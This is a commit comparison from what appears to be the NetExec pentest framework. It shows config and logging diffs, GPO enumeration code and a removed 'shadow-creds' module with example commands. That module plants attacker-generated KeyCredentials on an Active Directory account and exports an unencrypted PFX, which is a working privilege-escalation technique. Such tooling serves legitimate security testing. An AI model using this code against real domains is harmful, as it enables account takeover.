Compare commits

..
Author SHA1 Message Date
Alexander Neff 2427fb5423 Draft dynamic NFSv4 version 2026-09-01 18:13:36 -04:00
Alexander Neff 71716634c7 Update AGENTS instructions 2026-09-01 18:12:34 -04:00
Alexander Neff e6eb4f740f Add first NFSv4 draft 2026-09-01 11:52:17 -04:00
Alexander Neff 10bc8173f7 Update AGENTS instructions 2026-09-01 11:51:25 -04:00
33 changed files with 849 additions and 1820 deletions

No files matched your search

+5
View File
@@ -7,10 +7,15 @@
# Coding style
- Never add a comment or docstring at the top of a Python file unless that file already has a top-of-file comment or docstring.
- In parenthesized Python import blocks, group multiple imported names on each line instead of placing every name on its own line.
- Keep function and method call arguments on one line when practical; format object literals for readability.
- Keep comments short and precise. Use block form for docstrings and other long text.
- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
- Always bind caught exceptions as `e`, not `error` or another name.
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
- If unsure about anything, ask for clarification before proceeding.
# NetExec module structure
-2
View File
@@ -32,8 +32,6 @@ def gen_cli_args():
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output Options")
-6
View File
@@ -39,12 +39,6 @@ config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
if not isinstance(exclude_hosts, list):
nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
exit(1)
if len(host_info_colors) != 4:
nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")
+3 -3
View File
@@ -175,7 +175,7 @@ class connection:
if self.kerberos:
self.host = self.hostname
self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
@@ -242,9 +242,9 @@ class connection:
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if not self.create_conn_obj():
self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
else:
self.logger.info(f"Successfully created connection object for target '{self.host}'")
self.logger.debug("Created connection object")
self.enum_host_info()
# Construct the output file template using os.path.join for OS compatibility
-2
View File
@@ -8,8 +8,6 @@ log_mode = False
host_info_colors = ["green", "red", "yellow", "cyan"]
check_guest_account = False
display_dc = True
skip_self = False
exclude_hosts = []
[BloodHound]
bh_enabled = False
-79
View File
@@ -1,79 +0,0 @@
from datetime import datetime, timezone
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
def parse_ldap_timestamp(ts):
"""Convert LDAP generalized time (e.g., '20240603160917.0Z')
to a human-readable string
"""
if not ts:
return ""
try:
cleaned = ts.replace(".0Z", "").replace("Z", "")
dt = datetime.strptime(cleaned, "%Y%m%d%H%M%S").replace(tzinfo=timezone.utc)
return dt.strftime("%Y-%m-%d %H:%M:%S UTC")
except (ValueError, TypeError):
return ts
def query_ldap_gpos(host, domain, username, password, lmhash, nthash, aes_key, kdc_host, kerberos, logger):
"""Query LDAP for GPO metadata
Returns dict of {GUID: {displayName, ...}} or None on failure
This function is standalone so it can be reused by other modules
(e.g., a future list_gpos LDAP module)
"""
base_dn = ",".join(f"DC={part}" for part in domain.split("."))
search_filter = "(objectClass=groupPolicyContainer)"
attributes = ["cn", "displayName", "gPCFileSysPath", "versionNumber", "whenCreated", "whenChanged"]
try:
ldap_url = f"ldap://{host}"
logger.debug(f"Connecting to LDAP at {ldap_url} for GPO metadata")
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=base_dn, dstIp=host)
if kerberos:
ldap_connection.kerberosLogin(username, password, domain, lmhash, nthash, aes_key, kdcHost=kdc_host)
else:
ldap_connection.login(username, password, domain, lmhash, nthash)
search_base = f"CN=Policies,CN=System,{base_dn}"
logger.debug(f"Searching LDAP: base={search_base}, filter={search_filter}")
resp = ldap_connection.search(
searchFilter=search_filter,
attributes=attributes,
searchBase=search_base,
sizeLimit=0,
)
gpo_map = {}
for entry in resp:
if not isinstance(entry, ldapasn1_impacket.SearchResultEntry):
continue
attrs = {}
for attribute in entry["attributes"]:
attr_name = str(attribute["type"])
vals = [str(val) for val in attribute["vals"].components]
attrs[attr_name] = vals[0] if len(vals) == 1 else vals
guid = attrs.get("cn", "").upper()
if guid:
if not guid.startswith("{"):
guid = f"{{{guid}}}"
gpo_map[guid] = {
"displayName": attrs.get("displayName", "Unknown"),
"gPCFileSysPath": attrs.get("gPCFileSysPath", ""),
"versionNumber": attrs.get("versionNumber", "0"),
"whenCreated": attrs.get("whenCreated", ""),
"whenChanged": attrs.get("whenChanged", ""),
}
logger.debug(f"LDAP returned {len(gpo_map)} GPOs")
return gpo_map
except Exception as e:
logger.debug(f"LDAP GPO query failed: {e}")
return None
-13
View File
@@ -1,13 +0,0 @@
from pathlib import PurePosixPath
def sanitize_filename(name: str) -> str:
"""Strip path traversal components from an SMB filename.
Follows the pattern from spider_plus.py — filters '..' and '.' from
PurePosixPath.parts to prevent directory traversal attacks from
malicious SMB servers.
"""
parts = PurePosixPath(name.replace("\\", "/")).parts
clean = [p for p in parts if p not in ("..", ".", "/")]
return str(PurePosixPath(*clean)) if clean else ""
-102
View File
@@ -1,102 +0,0 @@
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dtypes import OWNER_SECURITY_INFORMATION, GROUP_SECURITY_INFORMATION, DACL_SECURITY_INFORMATION
from impacket.ldap import ldaptypes
from nxc.protocols.ldap.constants import ACCESS_MASK_TO_TEXT_LOOKUP
def get_share_security_descriptor(connection, share_name, path, sec_info_flags=None):
r"""Get the security descriptor for a file/folder on an SMB share via SRVS RPC.
Args:
connection: An NXC SMB connection object with host, username, password, etc.
share_name: The SMB share name (e.g. "SYSVOL").
path: The path within the share (e.g. "domain.local\\Policies\\{GUID}").
sec_info_flags: Security information flags to request. Defaults to
OWNER | GROUP | DACL.
Returns:
An SR_SECURITY_DESCRIPTOR parsed from the raw response.
"""
if sec_info_flags is None:
sec_info_flags = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION
rpc_transport = transport.SMBTransport(
connection.host,
connection.host,
filename=r"\srvsvc",
smb_connection=connection.conn,
)
rpc_transport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey,
)
rpc_transport.set_kerberos(connection.kerberos, connection.kdcHost)
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
# SRVS RPC requires null-terminated strings
rpc_share = f"{share_name}\x00"
rpc_path = f"\\{path.replace('/', chr(92))}\x00"
raw = srvs.hNetrpGetFileSecurity(dce, rpc_share, rpc_path, sec_info_flags)
dce.disconnect()
return ldaptypes.SR_SECURITY_DESCRIPTOR(raw)
def parse_dacl_aces(sd, sid_resolver=None):
"""Parse ACEs from a security descriptor's DACL into structured data.
Args:
sd: An SR_SECURITY_DESCRIPTOR (from impacket ldaptypes).
sid_resolver: Optional callable that takes a SID string and returns
a human-readable name. If None, SID names are left as empty strings.
Returns:
A dict with keys:
owner: {"sid": str, "name": str}
group: {"sid": str, "name": str}
aces: list of {"ace_type": str, "sid": str, "sid_name": str, "permissions": list[str], "raw_mask": int}
If there is no DACL, the ``aces`` list will be empty.
"""
owner_sid = sd["OwnerSid"].formatCanonical() if sd["OwnerSid"] else ""
group_sid = sd["GroupSid"].formatCanonical() if sd["GroupSid"] else ""
result = {
"owner": {"sid": owner_sid, "name": sid_resolver(owner_sid) if sid_resolver and owner_sid else ""},
"group": {"sid": group_sid, "name": sid_resolver(group_sid) if sid_resolver and group_sid else ""},
"aces": [],
}
if not sd["Dacl"]:
return result
for i in range(sd["Dacl"]["AceCount"]):
ace = sd["Dacl"]["Data"][i]
ace_type = ace["TypeName"]
access_mask = int(ace["Ace"]["Mask"]["Mask"])
sid = ace["Ace"]["Sid"].formatCanonical()
permissions = [mask_name for mask_value, mask_name in ACCESS_MASK_TO_TEXT_LOOKUP.items() if access_mask & mask_value]
sid_name = ""
if sid_resolver:
sid_name = sid_resolver(sid)
result["aces"].append({
"ace_type": ace_type,
"sid": sid,
"sid_name": sid_name,
"permissions": permissions,
"raw_mask": access_mask,
})
return result
+1 -1
View File
@@ -1083,7 +1083,7 @@ class EFS_HASH_BLOB(NDRSTRUCT):
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
("Length", DWORD),
("Lenght", DWORD),
("SID", RPC_SID),
("Hash", EFS_HASH_BLOB),
("Display", LPWSTR),
+1 -1
View File
@@ -13,7 +13,7 @@ class NXCModule:
"""
FILE_NAME Name of the file which will be tried to create and afterwards delete
SHARE_NAME If set, ONLY this share will be used
EXCLUDED_SHARES List of share names which will not be used, separated by comma
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
"""
def on_login(self, context: Context, connection):
-265
View File
@@ -1,265 +0,0 @@
import json
import ntpath
import re
import shutil
from datetime import datetime, timezone
from pathlib import Path
from impacket.dcerpc.v5.lsat import DCERPCSessionError
from nxc.config import process_secret
from nxc.helpers.misc import CATEGORY
from nxc.helpers.ldap import parse_ldap_timestamp, query_ldap_gpos
from nxc.helpers.smb import get_share_security_descriptor, parse_dacl_aces
from nxc.paths import NXC_PATH
from nxc.protocols.smb.samrfunc import LSAQuery
GUID_PATTERN = re.compile(r"^\{[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}\}$")
class NXCModule:
"""Module by @Marshall-Hallenbeck
Do things with Group Policy Objects (GPOs) in Active Directory
"""
name = "gpos"
description = "Do things with Group Policy Objects (GPOs) in Active Directory"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
self.module_options = None
self.gpo_name = None
self.fuzzy_search = False
self.all_props = False
self.download = True
self.download_dest = "Retrieved_GPOs"
self.list_permissions = False
def options(self, context, module_options):
"""
NAME Name of the GPO (default retrieve all GPOs)
FUZZY Fuzzy search for name of GPOs (using wildcards)
ALL_PROPS Retrieve all properties of the GPO (default is name, guid, and sysfile path)
DOWNLOAD Download the GPOs to the local machine (default is True)
DEST Destination folder for downloaded GPOs (default is "Retrieved_GPOs")
LIST_PERMISSIONS List permissions for the GPOs (default is False)
"""
self.gpo_name = module_options.get("NAME")
self.fuzzy_search = module_options.get("FUZZY", "False").lower() == "true"
self.all_props = module_options.get("ALL_PROPS", "False").lower() == "true"
self.download = module_options.get("DOWNLOAD", "True").lower() == "true"
self.download_dest = module_options.get("DEST", "Retrieved_GPOs")
self.list_permissions = module_options.get("LIST_PERMISSIONS", "False").lower() == "true"
context.log.debug(f"Module options: {self.gpo_name=}, {self.fuzzy_search=}, {self.all_props=}, {self.download=}, {self.download_dest=}, {self.list_permissions=}")
def on_login(self, context, connection):
gpo_ldap_map = query_ldap_gpos(
connection.host,
connection.domain,
connection.username,
connection.password,
connection.lmhash,
connection.nthash,
connection.aesKey,
connection.kdcHost,
connection.kerberos,
context.log,
)
if gpo_ldap_map is not None:
context.log.display(f"Queried {len(gpo_ldap_map)} GPOs via LDAP, enumerating SYSVOL via SMB")
else:
context.log.display("LDAP query failed, falling back to SMB-only (names may show as 'Unknown')")
policies = connection.conn.listPath("SYSVOL", f"{connection.domain}\\Policies\\*")
context.log.debug(f"Found policies path: {connection.domain}\\Policies")
gpos_found = []
for item in policies:
item_name = item.get_longname()
context.log.debug(f"Item: {item}, Item name: {item_name}")
if item_name not in [".", ".."] and item.is_directory() and GUID_PATTERN.match(item_name):
gpo_guid = item_name
gpo_path = ntpath.join(f"{connection.domain}", "Policies", f"{gpo_guid}")
ldap_data = gpo_ldap_map.get(gpo_guid.upper()) if gpo_ldap_map else None
display_name = ldap_data["displayName"] if ldap_data else self.get_gpo_display_name_from_sysvol(context, connection, gpo_path)
if self.gpo_name:
match = self.gpo_name.lower() in display_name.lower() if self.fuzzy_search else self.gpo_name.lower() == display_name.lower()
if not match:
continue
gpos_found.append((gpo_guid, gpo_path, display_name, ldap_data))
context.log.success(f"GPO Found: '{display_name}'")
context.log.highlight(f"Display Name: {display_name}")
context.log.highlight(f"GUID: {gpo_guid}")
context.log.highlight(f"GPO Path: \\\\SYSVOL\\{gpo_path}")
if self.all_props and ldap_data:
context.log.highlight(f"Version: {ldap_data['versionNumber']}")
context.log.highlight(f"Created: {parse_ldap_timestamp(ldap_data['whenCreated'])}")
context.log.highlight(f"Modified: {parse_ldap_timestamp(ldap_data['whenChanged'])}")
if self.list_permissions:
self.get_folder_security_info(context, connection, gpo_guid, gpo_path)
if self.download:
context.log.display(f"Downloading GPO {gpo_guid} from SYSVOL share")
gpo_dest = Path(self.download_dest) / gpo_guid
self.download_gpo(context, connection, gpo_path, gpo_dest, gpo_guid)
context.log.success(f"GPOs Found: {len(gpos_found)}")
if gpos_found:
self.save_gpo_loot(context, connection, gpos_found)
def save_gpo_loot(self, context, connection, gpos_found):
"""Save GPO information to the NXC loot directory in text and JSON format."""
loot_dir = Path(NXC_PATH) / "modules" / "gpos" / connection.domain / connection.host
loot_dir.mkdir(parents=True, exist_ok=True)
all_gpos_json = []
for gpo_guid, gpo_path, display_name, ldap_data in gpos_found:
gpo_dir = loot_dir / gpo_guid
gpo_dir.mkdir(parents=True, exist_ok=True)
gpo_info = {
"guid": gpo_guid,
"displayName": display_name,
"sysvolPath": f"\\\\SYSVOL\\{gpo_path}",
}
if ldap_data:
gpo_info["versionNumber"] = ldap_data["versionNumber"]
gpo_info["whenCreated"] = parse_ldap_timestamp(ldap_data["whenCreated"])
gpo_info["whenChanged"] = parse_ldap_timestamp(ldap_data["whenChanged"])
gpo_info["gPCFileSysPath"] = ldap_data["gPCFileSysPath"]
all_gpos_json.append(gpo_info)
json_path = gpo_dir / "info.json"
with open(json_path, "w") as f:
json.dump(gpo_info, f, indent=4)
txt_path = gpo_dir / "info.txt"
with open(txt_path, "w") as f:
f.write(f"Display Name: {display_name}\n")
f.write(f"GUID: {gpo_guid}\n")
f.write(f"SYSVOL Path: \\\\SYSVOL\\{gpo_path}\n")
if ldap_data:
f.write(f"Version: {ldap_data['versionNumber']}\n")
f.write(f"Created: {parse_ldap_timestamp(ldap_data['whenCreated'])}\n")
f.write(f"Modified: {parse_ldap_timestamp(ldap_data['whenChanged'])}\n")
f.write(f"gPCFileSysPath: {ldap_data['gPCFileSysPath']}\n")
all_json_path = loot_dir / "gpos.json"
with open(all_json_path, "w") as f:
json.dump(all_gpos_json, f, indent=4)
all_txt_path = loot_dir / "gpos.txt"
with open(all_txt_path, "w") as f:
f.write(f"GPOs enumerated from {connection.domain} ({connection.host})\n")
f.write(f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S UTC')}\n")
f.write(f"Total: {len(all_gpos_json)}\n")
f.write("=" * 60 + "\n\n")
for gpo in all_gpos_json:
f.write(f"Display Name: {gpo['displayName']}\n")
f.write(f"GUID: {gpo['guid']}\n")
f.write(f"SYSVOL Path: {gpo['sysvolPath']}\n")
if "versionNumber" in gpo:
f.write(f"Version: {gpo['versionNumber']}\n")
f.write(f"Created: {gpo['whenCreated']}\n")
f.write(f"Modified: {gpo['whenChanged']}\n")
f.write("-" * 60 + "\n\n")
context.log.display(f"GPO info saved to {loot_dir}")
def get_gpo_display_name_from_sysvol(self, context, connection, gpo_path):
"""Try to get the display name of a GPO by reading GPT.ini from SYSVOL via SMB"""
try:
ini_path = f"{gpo_path}\\GPT.ini"
context.log.debug(f"GPT.ini path: {ini_path}")
ini_content = bytearray()
def callback(data):
ini_content.extend(data)
connection.conn.getFile("SYSVOL", ini_path, callback)
ini_text = ini_content.decode("utf-8", errors="replace")
for line in ini_text.splitlines():
if line.lower().startswith("displayname="):
return line.strip().split("=", 1)[1]
return "Unknown"
except Exception as e:
context.log.debug(f"Could not read GPO display name: {e}")
return ntpath.basename(gpo_path)
def download_gpo(self, context, smb_conn, sysvol_path, dest_folder, guid):
"""Download a GPO from the SYSVOL share using the appropriate method"""
context.log.debug(f"Downloading GPO {guid} from {sysvol_path} to {dest_folder}")
original_share = smb_conn.args.share
try:
smb_conn.args.share = "SYSVOL"
smb_conn.download_folder(sysvol_path, dest_folder, recursive=True)
context.log.success(f"GPO {guid} downloaded to {dest_folder}")
except Exception as e:
context.log.fail(f"Error downloading GPO {guid}: {e}")
if Path(dest_folder).exists():
try:
shutil.rmtree(dest_folder)
except Exception as cleanup_error:
context.log.debug(f"Error cleaning up directory: {cleanup_error}")
context.log.highlight("To manually download this GPO, use the following command:")
context.log.highlight(f"nxc smb {smb_conn.host} -u '{smb_conn.username}' -p '{process_secret(smb_conn.password)}' --share SYSVOL --get-folder '{sysvol_path}' '{dest_folder}' --recursive")
finally:
smb_conn.args.share = original_share
def get_folder_security_info(self, context, connection, gpo_guid, gpo_path):
"""Get security information for a GPO folder and analyze permissions."""
context.log.debug(f"Getting security info for GPO path: {gpo_path}")
sd = get_share_security_descriptor(connection, "SYSVOL", gpo_path)
context.log.success("Retrieved security information")
try:
lsa_query = LSAQuery(connection=connection, logger=context.log)
except Exception as lsa_error:
context.log.debug(f"Error creating LSAQuery: {lsa_error}")
return
def resolve_sid(sid):
try:
return lsa_query.lookup_sids([sid])[0]
except DCERPCSessionError as e:
context.log.debug(f"Error looking up SID {sid}: {e}")
return "Unknown (potentially deleted user)"
parsed = parse_dacl_aces(sd, sid_resolver=resolve_sid)
if not parsed:
return
context.log.highlight(f"Security Descriptor for GPO {gpo_guid}:")
if parsed["owner"]["sid"]:
context.log.highlight(f" Owner SID: {parsed['owner']['sid']} - {parsed['owner']['name']}")
if parsed["group"]["sid"]:
context.log.highlight(f" Group SID: {parsed['group']['sid']} - {parsed['group']['name']}")
if not parsed["aces"]:
context.log.highlight(" No DACL found - no access restrictions")
return
context.log.highlight(f" DACL: {len(parsed['aces'])} ACEs (Access Control Entries)")
for i, ace in enumerate(parsed["aces"]):
perm_str = ", ".join(ace["permissions"]) if ace["permissions"] else f"0x{ace['raw_mask']:08x}"
context.log.highlight(f" ACE {i + 1}: {ace['ace_type']}")
context.log.highlight(f" SID: {ace['sid']} - {ace['sid_name']}")
context.log.highlight(f" Permissions: {perm_str}")
+1 -1
View File
@@ -101,7 +101,7 @@ class NXCModule:
context.log.fail("Invalid token ID submitted")
except Exception as e:
context.log.fail(f"Error running command: {e}")
context.log.fail(f"Error runing command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
+2 -2
View File
@@ -519,10 +519,10 @@ class NXCModule:
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
if "$FILE_NAME" in parsed_header:
filename_length = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_length * 2)].decode("utf-16")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
if "$DATA" in parsed_header:
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])
+1 -1
View File
@@ -2,7 +2,7 @@
# Dirk-jan Mollema (@_dirkjan)
# dlive (@D1iv3)
#
# Reference:
# Refernece:
# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
# - https://github.com/fox-it/cve-2019-1040-scanner
# - https://github.com/Dliv3/cve-2019-1040-scanner
-249
View File
@@ -1,249 +0,0 @@
import json
from pathlib import Path
from cryptography.hazmat.primitives.serialization import NoEncryption
from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates
from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
from dsinternals.common.data.DNWithBinary import DNWithBinary
from dsinternals.common.data.hello.KeyCredential import KeyCredential
from dsinternals.system.DateTime import DateTime
from dsinternals.system.Guid import Guid
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, LDAPSessionError
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
class NXCModule:
"""
Made by @NeffIsBack
Heavily inspired by the pyWhisker project by Shutdown:
https://github.com/ShutdownRepo/pywhisker
"""
name = "shadow-creds"
description = "List, add, inspect, remove, clear, backup, or revert Shadow Credentials on a user or computer"
supported_protocols = ["ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
TARGET sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$)
ACTION Action to perform: list, add, info, remove, clear, backup, or revert (default: list); clear removes all KeyCredentials
DEVICE_ID KeyCredential device ID; required for info and remove
JSONFILE JSON backup path; required for revert and optional for backup
Examples:
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID=<guid>
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID=<guid>
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=clear
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json
"""
self.target = module_options.get("TARGET", "").strip()
self.action = module_options.get("ACTION", "list").lower().strip()
self.device_id = module_options.get("DEVICE_ID")
self.jsonfile = module_options.get("JSONFILE")
if not self.target:
context.log.fail("TARGET is required")
return False
if self.action not in {"list", "add", "info", "remove", "clear", "backup", "revert"}:
context.log.fail("ACTION must be one of: list, add, info, remove, clear, backup, revert")
return False
if self.action in {"info", "remove"} and not self.device_id:
context.log.fail(f"DEVICE_ID is required for ACTION={self.action}")
return False
if self.action == "revert" and not self.jsonfile:
context.log.fail("JSONFILE is required for ACTION=revert")
return False
def on_login(self, context, connection):
self.context = context
self.connection = connection
resp = connection.search(
searchFilter=f"(&(objectClass=user)(sAMAccountName={self.target}))",
attributes=["distinguishedName", "sAMAccountName", "objectClass", "msDS-KeyCredentialLink"],
)
resp_parsed = parse_result_attributes(resp)
if not resp_parsed:
context.log.fail(f"Account '{self.target}' was not found")
return
target_dn = resp_parsed[0]["distinguishedName"]
raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", [])
raw_values = raw_values if isinstance(raw_values, list) else [raw_values]
if self.action == "list":
self.list(self.parse_credentials(raw_values))
elif self.action == "add":
self.add(target_dn, "computer" in resp_parsed[0]["objectClass"])
elif self.action == "info":
self.info(self.parse_credentials(raw_values))
elif self.action == "remove":
self.remove(target_dn, self.parse_credentials(raw_values))
elif self.action == "clear":
self.clear(target_dn, raw_values)
elif self.action == "backup":
self.backup(raw_values)
elif self.action == "revert":
self.revert(target_dn)
def parse_credentials(self, raw_values):
credentials = []
for raw_value in raw_values:
try:
# AD stores each KeyCredential as a textual DN-Binary value.
credentials.append(
(
raw_value,
KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())),
)
)
except Exception as e:
self.context.log.fail(f"Could not parse an existing KeyCredential: {e}")
return credentials
def get_credential(self, credentials):
for raw_value, credential in credentials:
if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id.lower():
return raw_value, credential
self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}")
return None
def list(self, credentials):
if not credentials:
self.context.log.display(f"No KeyCredentials found on {self.target}")
return
self.context.log.success(f"Found {len(credentials)} KeyCredential(s) on {self.target}")
for _, credential in credentials:
self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else '<missing>'} | Creation time: {credential.CreationTime}")
def add(self, target_dn, is_computer):
try:
certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365)
credential = KeyCredential.fromX509Certificate2(
certificate=certificate,
deviceId=Guid(),
owner=target_dn,
currentTime=DateTime(),
isComputerKey=is_computer,
)
device_id = credential.DeviceId.toFormatD().lower()
ldap_value = credential.toDNWithBinary().toString()
output_path = self.write_pfx(certificate, device_id)
except Exception as e:
self.context.log.fail(f"Failed to generate certificate and KeyCredential: {e}")
return
try:
# Add one value instead of replacing the complete multi-valued attribute.
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to add the KeyCredential: {e}")
self.context.log.display(f"Generated PFX retained at {output_path}")
return
self.context.log.success(f"Added KeyCredential with device ID {device_id} to {self.target}")
self.context.log.highlight(f"PFX: {output_path}")
def write_pfx(self, certificate, device_id):
output_dir = Path(NXC_PATH) / "modules" / "shadow-creds"
output_dir.mkdir(parents=True, exist_ok=True)
output_path = output_dir / f"{self.target.rstrip('$')}_{device_id}.pfx"
output_path.write_bytes(
serialize_key_and_certificates(
name=self.target.encode("utf-8"),
key=certificate.key.to_cryptography_key(),
cert=certificate.certificate.to_cryptography(),
cas=None,
encryption_algorithm=NoEncryption(),
)
)
return output_path
def info(self, credentials):
result = self.get_credential(credentials)
if result is None:
return
_, credential = result
self.context.log.success(f"KeyCredential {self.device_id} on {self.target}")
for name, value in {
"Owner": credential.Owner,
"Device ID": credential.DeviceId.toFormatD().lower(),
"Version": hex(credential.Version.value),
"Key ID": credential.Identifier,
"Key hash": credential.KeyHash.hex(),
"Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"),
" Exponent (E)": credential.RawKeyMaterial.exponent,
" Modulus (N)": hex(credential.RawKeyMaterial.modulus),
" Prime 1 (P)": hex(credential.RawKeyMaterial.prime1),
" Prime 2 (Q)": hex(credential.RawKeyMaterial.prime2),
"Usage": credential.Usage,
"Legacy usage": credential.LegacyUsage,
"Source": credential.Source,
"Custom key info": credential.CustomKeyInfo,
**{f" {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()},
"Last logon time": credential.LastLogonTime,
"Creation time": credential.CreationTime,
}.items():
self.context.log.highlight(f"{name:<17} {value}")
def remove(self, target_dn, credentials):
result = self.get_credential(credentials)
if result is None:
return
raw_value, _ = result
try:
# Delete the exact raw value so neighboring credentials remain untouched.
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to remove the KeyCredential: {e}")
return
self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}")
def clear(self, target_dn, raw_values):
if not raw_values:
self.context.log.display(f"No KeyCredentials found on {self.target}")
return
try:
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to clear KeyCredentials: {e}")
return
self.context.log.success(f"Cleared all KeyCredentials from {self.target}")
def backup(self, raw_values):
output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json"
output_path.parent.mkdir(parents=True, exist_ok=True)
output_path.write_text(json.dumps({"keyCredentials": raw_values}, indent=4), encoding="utf-8")
self.context.log.success(f"Backed up {len(raw_values)} KeyCredential(s) from {self.target} to {output_path}")
def revert(self, target_dn):
try:
key_credentials = []
for key_credential in json.loads(Path(self.jsonfile).read_text(encoding="utf-8"))["keyCredentials"]:
if not isinstance(key_credential, (dict, str)):
raise ValueError("keyCredentials entries must be objects or strings")
key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential)
except Exception as e:
self.context.log.fail(f"Failed to read Shadow Credentials backup: {e}")
return
try:
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_REPLACE, key_credentials)]})
except Exception as e:
